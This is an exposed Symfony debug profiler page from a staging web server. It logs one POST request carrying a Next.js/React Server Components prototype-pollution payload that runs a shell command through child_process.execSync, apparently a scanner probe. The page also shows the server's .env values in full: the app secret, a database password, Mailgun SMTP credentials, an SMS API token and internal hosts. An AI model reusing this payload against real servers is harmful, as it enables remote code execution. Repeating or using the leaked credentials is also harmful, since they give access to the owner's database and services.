https://api.stage.hartmann-tresore.pl/

Method
POST
HTTP Status
200
IP
65.1.112.209
Profiled on
Token
d3d927

HomePageController :: indexAction

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}"
1 
""$@0""
2 
"[]"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"Hitso\Bundle\CommonBundle\Controller\Front\HomePageController::indexAction"
_firewall_context 
"security.firewall.map.context.frontend"
_links 
Symfony\Component\WebLink\GenericLinkProvider {#242
  -links: [
    241 => Symfony\Component\WebLink\Link {#241
      -href: "/bundles/hitsocommon/hitsox-default-theme/source/css/common.css"
      -rel: [
        "preload" => "preload"
      ]
      -attributes: [
        "as" => "style"
      ]
    }
    235 => Symfony\Component\WebLink\Link {#235
      -href: "/bundles/hitsocommon/hitsox-default-theme/source/css/index-critical.css"
      -rel: [
        "preload" => "preload"
      ]
      -attributes: [
        "as" => "style"
      ]
    }
    240 => Symfony\Component\WebLink\Link {#240
      -href: "/bundles/hitsocommon/hitsox-default-theme/source/css/index.css"
      -rel: [
        "preload" => "preload"
      ]
      -attributes: [
        "as" => "style"
      ]
    }
  ]
}
_route 
"homepage"
_route_params 
[]
_site 
"pl"
_stopwatch_token 
"5e7a81"

Request Headers

Header Value
accept 
"*/*"
accept-encoding 
"gzip, deflate"
connection 
"keep-alive"
content-length 
"753"
content-type 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
host 
"api.stage.hartmann-tresore.pl"
next-action 
"x"
user-agent 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
x-nextjs-html-request-id 
"SSTMXm7OJ_g0Ncx6jpQt9"
x-nextjs-request-id 
"b5dce965"
x-php-ob-level 
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-language 
"pl"
content-type 
"text/html; charset=UTF-8"
date 
"Tue, 16 Dec 2025 14:53:57 GMT"
link 
"</bundles/hitsocommon/hitsox-default-theme/source/css/common.css>; rel="preload"; as="style",</bundles/hitsocommon/hitsox-default-theme/source/css/index-critical.css>; rel="preload"; as="style",</bundles/hitsocommon/hitsox-default-theme/source/css/index.css>; rel="preload"; as="style""
x-debug-token 
"d3d927"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

Key Value
Created 
"Tue, 16 Dec 25 15:53:57 +0100"
Last used 
"Tue, 16 Dec 25 15:53:57 +0100"
Lifetime 
172800

Session Attributes

No session attributes

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
ADMIN_HOST 
"admin.stage.hartmann-tresore.pl"
APP_DEBUG 
"1"
APP_ENV 
"dev"
APP_NAME 
"hartmann"
APP_SECRET 
"5795c71707186e58450076723327bdbb"
BASE_HOST 
"api.stage.hartmann-tresore.pl"
BASE_PORT 
"443"
CORS_ALLOW_ORIGIN 
"^https?://localhost(:[0-9]+)?$"
DATABASE_URL 
"mysql://hartmann_stage:zvA9t8cyPnJ3bXsCPKUg@127.0.0.1:3306/hartmann_stage"
FRONT_HOST 
"stage.hartmann-tresore.pl"
GOOGLE_API_KEY 
""
GOOGLE_CLIENT_ID 
""
GOOGLE_CLIENT_SECRET 
""
LDAP_ENC 
"ssl"
LDAP_HOST 
"192.168.111.212"
LDAP_PORT 
"636"
MAILER_URL 
"smtp://smtp.mailgun.org:587?encryption=tls&auth_mode=login&username=postmaster%40sandbox4027f332bbde4eb5856deaf964963237.mailgun.org&password=9de645193a00bda76ed10fbc3c8d243e-9ce9335e-fd188762"
PHP_BIN_PATH 
"php"
REDIS_URL 
"redis://localhost"
SENTRY_DSN 
"https://3cca683e13b84a7d9ea96a7ef5110ae0@logs.dev.autentika.com/4"
SMS_API_TOKEN 
"2pBdB5bePxzDVCDdgxgtpwPrGpXpS1Brw6JPirZx"
WKHTMLTOIMAGE_PATH 
"/usr/local/bin/wkhtmltoimage"
WKHTMLTOPDF_PATH 
"../vendor/h4cc/wkhtmltopdf-amd64/bin/wkhtmltopdf-amd64"

Defined as regular env variables

Key Value
CONTENT_LENGTH 
"753"
CONTENT_TYPE 
"multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"
CONTEXT_DOCUMENT_ROOT 
"/var/www/html/stage.hartmann-tresore.pl/current/public"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/html/stage.hartmann-tresore.pl/current/public"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/var/www"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_ACCEPT_ENCODING 
"gzip, deflate"
HTTP_CONNECTION 
"keep-alive"
HTTP_HOST 
"api.stage.hartmann-tresore.pl"
HTTP_NEXT_ACTION 
"x"
HTTP_USER_AGENT 
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
HTTP_X_NEXTJS_HTML_REQUEST_ID 
"SSTMXm7OJ_g0Ncx6jpQt9"
HTTP_X_NEXTJS_REQUEST_ID 
"b5dce965"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
""
REDIRECT_HTTPS 
"on"
REDIRECT_SSL_TLS_SNI 
"api.stage.hartmann-tresore.pl"
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"65.1.112.209"
REMOTE_PORT 
"36780"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1765896837
REQUEST_TIME_FLOAT 
1765896837.227
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"//var/www/html/stage.hartmann-tresore.pl/current/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"79.133.210.222"
SERVER_ADMIN 
"[no address given]"
SERVER_NAME 
"api.stage.hartmann-tresore.pl"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
"<address>Apache/2.4.41 (Ubuntu) Server at api.stage.hartmann-tresore.pl Port 443</address>\n"
SERVER_SOFTWARE 
"Apache/2.4.41 (Ubuntu)"
SSL_TLS_SNI 
"api.stage.hartmann-tresore.pl"
SYMFONY_DOTENV_VARS 
"DATABASE_URL,MAILER_URL,GOOGLE_API_KEY,GOOGLE_CLIENT_ID,GOOGLE_CLIENT_SECRET,PHP_BIN_PATH,BASE_HOST,FRONT_HOST,ADMIN_HOST,BASE_PORT,SENTRY_DSN,REDIS_URL,APP_NAME,APP_ENV,APP_SECRET,CORS_ALLOW_ORIGIN,LDAP_HOST,LDAP_PORT,LDAP_ENC,WKHTMLTOPDF_PATH,WKHTMLTOIMAGE_PATH,SMS_API_TOKEN,APP_DEBUG"
USER 
"www-data"
proxy-nokeepalive 
"1"